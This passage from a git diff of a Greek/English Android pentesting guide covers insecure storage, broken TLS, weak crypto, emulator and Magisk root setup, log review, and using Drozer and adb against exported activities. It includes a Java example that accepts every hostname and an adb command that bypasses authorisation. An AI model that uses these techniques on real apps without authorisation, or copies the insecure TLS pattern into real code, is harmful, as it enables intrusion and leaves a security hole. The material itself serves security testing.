αποθήκευση είναι **παγκοσμίως αναγνώσιμα και εγγράψιμα**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά τα αρχεία. 2. **Security Concerns**: -- Δε συνίσταται η αποθήκευση ευαίσθητων πληροφοριών στην external storage λόγω της ευκολίας πρόσβασης. -- Η external storage μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας την λιγότερο ασφαλή. +- Δεδομένης της ευκολίας πρόσβασης, συνιστάται **να μην αποθηκεύετε ευαίσθητες πληροφορίες** στην εξωτερική αποθήκευση. +- Η εξωτερική αποθήκευση μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας την λιγότερο ασφαλή. 3. **Handling Data from External Storage**: -- Πάντα **εκτελέστε validation εισόδου** στα δεδομένα που ανακτώνται από external storage. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή. -- Η αποθήκευση εκτελέσιμων αρχείων ή class files στην external storage για dynamic loading δεν συνιστάται. -- Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την external storage, βεβαιωθείτε ότι αυτά τα αρχεία είναι **signed και cryptographically verified** πριν από το dynamic loading. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ακεραιότητας ασφαλείας της εφαρμογής σας. +- Πάντα **εκτελείτε input validation** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη έμπιστη πηγή. +- Η αποθήκευση εκτελέσιμων ή class files στην εξωτερική αποθήκευση για dynamic loading αποθαρρύνεται έντονα. +- Αν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **signed και cryptographically verified** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας. -Η external storage μπορεί να προσπελαστεί σε `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> Από το Android 4.4 (**API 17**) και μετά, η SD card έχει μια δομή φακέλων που **περιορίζει την πρόσβαση μιας εφαρμογής στον κατάλογο που προορίζεται ειδικά για αυτήν**. Αυτό αποτρέπει μια malicious application από το να αποκτήσει ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής. +> Ξεκινώντας από το Android 4.4 (**API 17**), η SD κάρτα έχει μια δομή καταλόγων που περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που προορίζεται ειδικά για αυτήν την εφαρμογή. Αυτό αποτρέπει κακόβουλες εφαρμογές από το να αποκτήσουν πρόσβαση ανάγνωσης ή εγγραφής στα αρχεία άλλης εφαρμογής. -**Ευαίσθητα δεδομένα αποθηκευμένα σε clear-text** +**Ευαίσθητα δεδομένα αποθηκευμένα σε απλό κείμενο** -- **Shared preferences**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στο μονοπάτι `/data/data//shared_prefs/` και μερικές φορές είναι δυνατό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν το φάκελο. -- **Databases**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει sqlite βάσεις δεδομένων στο μονοπάτι `/data/data//databases/` και μερικές φορές είναι δυνατό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν το φάκελο. +- **Shared preferences**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data//shared_prefs/` και μερικές φορές είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν τον φάκελο. +- **Databases**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα sqlite databases στη διαδρομή `/data/data//databases/` και μερικές φορές είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν τον φάκελο. ### Broken TLS -Accept All Certificates +**Accept All Certificates** -Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμα και αν, για παράδειγμα, το hostname δεν ταιριάζει, με γραμμές κώδικα όπως η ακόλουθη: +Για κάποιο λόγο μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμα και αν, για παράδειγμα, το hostname δεν ταιριάζει, με γραμμές κώδικα όπως η ακόλουθη: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +Ένας καλός τρόπος να το δοκιμάσετε είναι να προσπαθήσετε να καταγράψετε την κίνηση χρησιμοποιώντας κάποιο proxy όπως το Burp χωρίς να πιστοποιήσετε το Burp CA μέσα στη συσκευή. Επίσης, μπορείτε με το Burp να δημιουργήσετε ένα πιστοποιητικό για διαφορετικό hostname και να το χρησιμοποιήσετε. -### Ελαττωματική Κρυπτογραφία +### Broken Cryptography -**Κακές διαδικασίες διαχείρισης κλειδιών** +**Κακές Διαδικασίες Διαχείρισης Κλειδιών** -Κάποιοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί hardcoded/predictable μέσα στον code. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποιο reversing μπορεί να επιτρέψει σε attackers να εξάγουν τις εμπιστευτικές πληροφορίες. +Κάποιοι developers αποθηκεύουν ευαίσθητα δεδομένα στο local storage και τα κρυπτογραφούν με ένα κλειδί hardcoded/προβλέψιμο μέσα στον κώδικα. Αυτό δεν θα πρέπει να γίνεται καθώς κάποια reversing μπορεί να επιτρέψει σε επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες. -**Χρήση ανασφαλών και/ή παρωχημένων αλγορίθμων** +**Χρήση Μη Ασφαλών και/ή Αποσυρμένων Αλγορίθμων** -Οι προγραμματιστές δεν πρέπει να χρησιμοποιούν **deprecated algorithms** για να εκτελούν authorisation **checks**, να **αποθηκεύουν** ή να **στέλνουν** δεδομένα. Μερικοί από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για να αποθηκεύονται passwords για παράδειγμα, πρέπει να χρησιμοποιηθούν hashes brute-force **resistant** με salt. +Οι developers δεν θα πρέπει να χρησιμοποιούν **deprecated algorithms** για να εκτελούν έλεγχους authorisation, να **αποθηκεύουν** ή να **στέλνουν** δεδομένα. Κάποιοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Εάν **hashes** χρησιμοποιούνται για να αποθηκεύονται κωδικοί για παράδειγμα, πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt. -### Άλλοι έλεγχοι +### Other checks -- Συνιστάται να **obfuscate το APK** ώστε να δυσκολεύεται η εργασία των reverse engineers και των attackers. -- Αν η εφαρμογή είναι ευαίσθητη (όπως bank apps), θα πρέπει να πραγματοποιεί δικούς της ελέγχους για να διαπιστώνει αν το mobile είναι rooted και να ενεργεί ανάλογα. -- Αν η εφαρμογή είναι ευαίσθητη (όπως bank apps), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**. -- Αν η εφαρμογή είναι ευαίσθητη (όπως bank apps), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** ώστε να διαπιστώνει αν έχει τροποποιηθεί. -- Χρησιμοποιήστε [**APKiD**](https://github.com/rednaga/APKiD) για να ελέγξετε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για το build του APK +- Συνιστάται να **obfuscate the APK** για να δυσκολέψετε την εργασία του reverse engineer στους επιτιθέμενους. +- Αν η εφαρμογή είναι ευαίσθητη (όπως τραπεζικές εφαρμογές), θα πρέπει να πραγματοποιεί τα **own checks to see if the mobile is rooted** και να ενεργεί ανάλογα. +- Αν η εφαρμογή είναι ευαίσθητη (όπως τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**. +- Αν η εφαρμογή είναι ευαίσθητη (όπως τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να διαπιστώσει αν έχει τροποποιηθεί. +- Use [**APKiD**](https://github.com/rednaga/APKiD) για να ελέγξετε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για να κατασκευαστεί το APK -### Εφαρμογή React Native +### React Native Application -Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να αποκτάτε εύκολα πρόσβαση στο javascript code των React εφαρμογών: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} react-native-application.md {{#endref}} -### Εφαρμογές Xamarin +### Xamarin Applications -Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να αποκτάτε εύκολα πρόσβαση στο C# code μιας xamarin εφαρμογής: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} ../xamarin-apps.md {{#endref}} -### Superpacked Εφαρμογές +### Superpacked Applications -Σύμφωνα με αυτό το [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας Meta αλγόριθμος που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μοναδικό αρχείο. Το blog περιγράφει την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και έναν ταχύτερο τρόπο που περιλαμβάνει να **εκτελέσετε την εφαρμογή και να συλλέξετε τα αποσυμπιεσμένα αρχεία από το filesystem.** +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### Αυτοματοποιημένη Στατική Code Ανάλυση +### Automated Static Code Analysis -Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να εντοπίζει **vulnerabilities** κάνοντας **scanning** του **code** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **known sources** (που υποδεικνύουν στο εργαλείο τα **places** όπου το **input** είναι **controlled by the user**), **sinks** (που υποδεικνύουν στο εργαλείο **dangerous** **places** όπου κακόβουλο user input θα μπορούσε να προκαλέσει βλάβες) και **rules**. Αυτοί οι κανόνες υποδεικνύουν τον **συνδυασμό** **sources-sinks** που δηλώνει μια vulnerability. +Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **vulnerabilities** σαρώνοντας τον **code** της εφαρμογής. Αυτό το εργαλείο περιλαμβάνει μια σειρά **known sources** (που υποδεικνύουν στο εργαλείο τα **σημεία** όπου το **input** ελέγχεται από τον χρήστη), **sinks** (που υποδεικνύουν στο εργαλείο τα **επικίνδυνα** σημεία όπου κακόβουλο input χρήστη μπορεί να προκαλέσει ζημιά) και **rules**. Αυτοί οι κανόνες υποδεικνύουν τους **συνδυασμούς** **sources-sinks** που δηλώνουν μια ευπάθεια. -Με αυτή τη γνώση, **mariana-trench θα ανασκοπήσει τον code και θα βρει πιθανές vulnerabilities σε αυτόν**. +Με αυτή τη γνώση, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -Μια εφαρμογή μπορεί να περιέχει secrets (API keys, passwords, hidden urls, subdomains...) μέσα της που μπορεί να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,14 +215,14 @@ react-native-application.md bypass-biometric-authentication-android.md {{#endref}} -### Άλλες ενδιαφέρουσες λειτουργίες +### Other interesting functions - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **Άλλα κόλπα** +### **Other tricks** {{#ref}} @@ -234,62 +233,62 @@ content-protocol.md --- -## Δυναμική Ανάλυση +## Dynamic Analysis -> Πρώτα απ' όλα, χρειάζεστε ένα περιβάλλον όπου μπορείτε να εγκαταστήσετε την εφαρμογή και όλο το απαραίτητο περιβάλλον (Burp CA cert, Drozer και Frida κυρίως). Επομένως, μια rooted συσκευή (emulated ή όχι) συνιστάται ιδιαίτερα. +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. ### Online Dynamic analysis -Μπορείτε να δημιουργήσετε ένα **free account** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **upload** και να **execute** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk. +Μπορείτε να δημιουργήσετε ένα **free account** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα επιτρέπει να **upload** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk. -Μπορείτε ακόμη να **δειτε τα logs της εφαρμογής σας** στο web και να συνδεθείτε μέσω **adb**. +Μπορείτε ακόμα να **δειτε τα logs της εφαρμογής σας** στο web και να συνδεθείτε μέσω **adb**. ![](<../../images/image (831).png>) -Χάρη στη σύνδεση ADB μπορείτε να χρησιμοποιήσετε **Drozer** και **Frida** μέσα στα emulators. +Χάρη στη σύνδεση ADB μπορείτε να χρησιμοποιήσετε **Drozer** και **Frida** μέσα στους emulator. -### Τοπική Δυναμική Ανάλυση +### Local Dynamic Analysis -#### Χρήση emulator +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός arm emulator). -- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα: +- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** χωρίς την ανάγκη ενός αργού arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, χρειάζεται να δημιουργήσετε account. _Συνιστάται να **κατεβάσετε** την έκδοση **ΜΕ**_ _**VirtualBox** για να αποφύγετε πιθανά σφάλματα._) -- [**Nox**](https://es.bignox.com) (Δωρεάν, αλλά δεν υποστηρίζει Frida ή Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> Όταν δημιουργείτε ένα νέο emulator σε οποιαδήποτε πλατφόρμα, θυμηθείτε ότι όσο μεγαλύτερη είναι η οθόνη τόσο πιο αργά θα τρέχει ο emulator. Επομένως επιλέξτε μικρές οθόνες αν είναι δυνατόν. +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -Για να **install google services** (όπως AppStore) στο Genymotion πρέπει να πατήσετε το κόκκινο κουμπί που φαίνεται στην παρακάτω εικόνα: +Για να **install google services** (όπως AppStore) σε Genymotion πρέπει να κάνετε κλικ στο κόκκινο κουμπί της παρακάτω εικόνας: ![](<../../images/image (277).png>) -Επίσης, σημειώστε ότι στις **ρυθμίσεις του Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδέεστε στο Android VM από ένα διαφορετικό VM με τα εργαλεία). +Επίσης, να σημειωθεί ότι στην **configuration of the Android VM in Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδέεστε στο Android VM από ένα διαφορετικό VM με τα εργαλεία). -#### Χρήση φυσικής συσκευής +#### Use a physical device -Πρέπει να ενεργοποιήσετε τις **επιλογές debugging** και είναι προτιμότερο αν μπορείτε να την **root**: +Πρέπει να ενεργοποιήσετε τις **debugging** επιλογές και είναι καλό αν μπορείτε να την **root**: 1. **Settings**. -2. (FromAndroid 8.0) Επιλέξτε **System**. -3. Επιλέξτε **About phone**. -4. Πατήστε **Build number** 7 φορές. -5. Επιστρέψτε πίσω και θα βρείτε τις **Developer options**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. -> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο που πρέπει να κάνετε είναι να τη δοκιμάσετε και να εξερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\ -> Προτείνω να **εκτελέσετε αυτή την αρχική dynamic analysis χρησιμοποιώντας MobSF dynamic analysis + pidcat**, έτσι θα μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **συλλαμβάνει** πολλά **interesting** **data** που μπορείτε να ελέγξετε αργότερα. +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. -Magisk/Zygisk quick notes (συνιστάται σε Pixel devices) -- Patch το boot.img με την εφαρμογή Magisk και flash μέσω fastboot για να αποκτήσετε systemless root -- Ενεργοποιήστε Zygisk + DenyList για απόκρυψη root; σκεφτείτε LSPosed/Shamiko όταν απαιτείται ισχυρότερη απόκρυψη -- Κρατήστε το original boot.img για ανάκτηση μετά από OTA updates; επανα-παστάρετε μετά από κάθε OTA -- Για screen mirroring, χρησιμοποιήστε scrcpy στον host +Magisk/Zygisk quick notes (recommended on Pixel devices) +- Patch boot.img with the Magisk app and flash via fastboot to get systemless root +- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required +- Keep original boot.img to recover from OTA updates; re-patch after each OTA +- For screen mirroring, use scrcpy on the host @@ -297,160 +296,160 @@ Magisk/Zygisk quick notes (συνιστάται σε Pixel devices) **Logging** -Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί ώστε να μην εκθέτουν **debugging information** δημόσια, καθώς αυτό μπορεί να οδηγήσει σε ευαίσθητα data leaks. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για παρακολούθηση των logs της εφαρμογής ώστε να εντοπιστούν και να προστατευθούν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευκολία χρήσης και την αναγνωσιμότητα. +Οι developers πρέπει να είναι προσεκτικοί ώστε να μην εκθέτουν **debugging information** δημόσια, καθώς αυτό μπορεί να οδηγήσει σε διαρροή ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` προτείνονται για την παρακολούθηση των application logs ώστε να εντοπιστεί και να προστατευτεί ευαίσθητη πληροφορία. **Pidcat** προτιμάται για την ευκολία χρήσης και την αναγνωσιμότητά του. > [!WARNING] -> Σημειώστε ότι από **later newer than Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Επομένως οι εφαρμογές δεν μπορούν να αποκτήσουν πρόσβαση στα logs άλλων εφαρμογών.\ -> Παρ' όλα αυτά, εξακολουθεί να συνιστάται **να μην καταγράφονται ευαίσθητες πληροφορίες**. +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Το **clipboard-based** πλαίσιο του Android επιτρέπει λειτουργίες copy-paste στις εφαρμογές, ωστόσο εγκυμονεί ρίσκο καθώς **άλλες εφαρμογές** μπορούν να έχουν **πρόσβαση** στο clipboard, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιείτε τις λειτουργίες copy/paste** σε ευαίσθητα τμήματα μιας εφαρμογής, όπως στοιχεία πιστωτικών καρτών, για να αποτρέψετε data leaks. +Το framework του Android που βασίζεται στο **clipboard** επιτρέπει λειτουργίες αντιγραφής/επικόλλησης στις εφαρμογές, ωστόσο εγκυμονεί κινδύνους καθώς **άλλες εφαρμογές** μπορούν να **έχουν πρόσβαση** στο clipboard, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιούνται οι λειτουργίες copy/paste** για ευαίσθητες περιοχές της εφαρμογής, όπως στοιχεία πιστωτικών καρτών, για να αποτραπεί η διαρροή δεδομένων. **Crash Logs** -Αν μια εφαρμογή **crashes** και **αποθηκεύει logs**, αυτά τα logs μπορούν να βοηθήσουν attackers, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να γίνει reverse-engineering. Για να μειώσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε crashes, και αν logs πρέπει να σταλούν μέσω δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω SSL channel για ασφάλεια. +Αν μια εφαρμογή **crashes** και **αποθηκεύει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ειδικά όταν η εφαρμογή δεν μπορεί να γίνει reverse-engineered. Για να μειώσετε αυτόν τον κίνδυνο, αποφύγετε το logging σε crashes, και αν τα logs πρέπει να μεταβιβαστούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω SSL καναλιού για ασφάλεια. -Ως pentester, **προσπαθήστε να ρίξετε μια ματιά στα logs αυτά**. +Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**. **Analytics Data Sent To 3rd Parties** -Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως Google Adsense, οι οποίες μπορούν κατά λάθος να **leak** ευαίσθητα δεδομένα λόγω ακατάλληλης υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι συνετό να **παρεμβαίνετε στην κίνηση της εφαρμογής** και να ελέγχετε για οποιεσδήποτε ευαίσθητες πληροφορίες που αποστέλλονται σε τρίτους. +Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορούν ακούσια να **leak sensitive data** λόγω λανθασμένης υλοποίησης από τους developers. Για να εντοπίσετε πιθανές διαρροές, συνίσταται να **intercept** την κίνηση της εφαρμογής και να ελέγξετε αν ευαίσθητες πληροφορίες αποστέλλονται σε τρίτους. ### SQLite DBs -Οι περισσότερες εφαρμογές θα χρησιμοποιήσουν **internal SQLite databases** για να αποθηκεύσουν πληροφορίες. Κατά τη διάρκεια του pentest ρίξτε μια **ματιά** στις **βάσεις δεδομένων** που δημιουργούνται, τα ονόματα των **πινάκων** και των **στηλών** και όλα τα **δεδομένα** που αποθηκεύονται γιατί μπορεί να βρείτε **ευαίσθητες πληροφορίες** (που θα ήταν vulnerability).\ -Οι βάσεις δεδομένων θα πρέπει να βρίσκονται στο `/data/data/the.package.name/databases` όπως `/data/data/com.mwr.example.sieve/databases` +Οι περισσότερες εφαρμογές θα χρησιμοποιήσουν **internal SQLite databases** για να αποθηκεύουν πληροφορίες. Κατά τη διάρκεια του pentest, κοιτάξτε τις **databases** που δημιουργούνται, τα ονόματα των **tables** και **columns** και όλα τα **δεδομένα** που αποθηκεύονται γιατί μπορεί να βρείτε **ευαίσθητες πληροφορίες** (που θα συνιστούσαν ευπάθεια).\ +Οι βάσεις δεδομένων θα πρέπει να βρίσκονται στο `/data/data/the.package.name/databases` όπως στο `/data/data/com.mwr.example.sieve/databases` -Εάν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **encrypted** αλλά μπορείτε να **βρείτε** το **password** μέσα στην εφαρμογή, αυτό εξακολουθεί να αποτελεί **vulnerability**. +Αν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **encrypted** αλλά μπορείτε να **βρείτε** το **password** μέσα στην εφαρμογή, αυτό εξακολουθεί να αποτελεί **ευπάθεια**. -Απαριθμήστε τους πίνακες χρησιμοποιώντας `.tables` και απαριθμήστε τις στήλες των πινάκων με `.schema ` +Αναγνωρίστε τους πίνακες χρησιμοποιώντας `.tables` και αναγνωρίστε τις στήλες των πινάκων με `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -Από τα [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **υποδυθείτε τον ρόλο μιας Android app** και να αλληλεπιδράσετε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Inter-Process Communication (IPC) του Android και να αλληλεπιδράσει με το underlying operating system. .\ -Το Drozer είναι ένα χρήσιμο εργαλείο για να **εκμεταλλευτείτε exported activities, exported services και Content Providers** όπως θα μάθετε στις επόμενες ενότητες. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Θυμηθείτε επίσης ότι ο κώδικας μιας activity ξεκινάει στη μέθοδο **`onCreate`**. +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Όταν μια Activity είναι exported μπορείτε να καλέσετε την οθόνη της από μια εξωτερική app. Επομένως, αν μια activity με **ευαίσθητες πληροφορίες** είναι **exported** θα μπορούσατε να **bypass** τους μηχανισμούς authentication για να έχετε πρόσβαση σε αυτήν. +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Μπορείτε επίσης να ξεκινήσετε μια exported activity από adb: +You can also start an exported activity from adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**ΣΗΜΕΙΩΣΗ**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> Σημειώστε ότι ένα authorisation bypass δεν είναι πάντα ευπάθεια — εξαρτάται από το πώς λειτουργεί το bypass και ποιες πληροφορίες εκτίθενται. +> Σημειώστε ότι ένα authorisation bypass δεν είναι πάντα ευπάθεια — εξαρτάται από το πώς λειτουργεί το bypass και ποιες πληροφορίες αποκαλύπτονται. -**Sensitive information leakage** +**Διαρροή ευαίσθητων πληροφοριών** -**Activities can also return results**. Εάν καταφέρετε να βρείτε μια exported και unprotected activity που καλεί την μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει sensitive information leakage. +**Activities can also return results**. Αν καταφέρετε να βρείτε μία exported και unprotected activity που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών. #### Tapjacking -If tapjacking isn't prevented, μπορείτε να καταχραστείτε την exported activity για να κάνετε τον χρήστη να εκτελέσει **απρόσμενες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**what is Tapjacking follow the link**](#tapjacking). +Αν το Tapjacking δεν αποτρέπεται, μπορείτε να καταχραστείτε την exported activity για να κάνετε τον **χρήστη να εκτελέσει απρόσμενες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Διαβάστε αυτό αν θέλετε να επαναλάβετε τι είναι ένας Content Provider.**](android-applications-basics.md#content-provider)\ -Οι Content providers χρησιμοποιούνται βασικά για το **μοιράσμα δεδομένων**. Εάν μια εφαρμογή διαθέτει content providers, μπορεί να καταφέρετε να **εξάγετε ευαίσθητα** δεδομένα από αυτά. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτες. +[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers are basically used to **share data**. Εάν μια εφαρμογή διαθέτει content providers, μπορεί να καταφέρετε 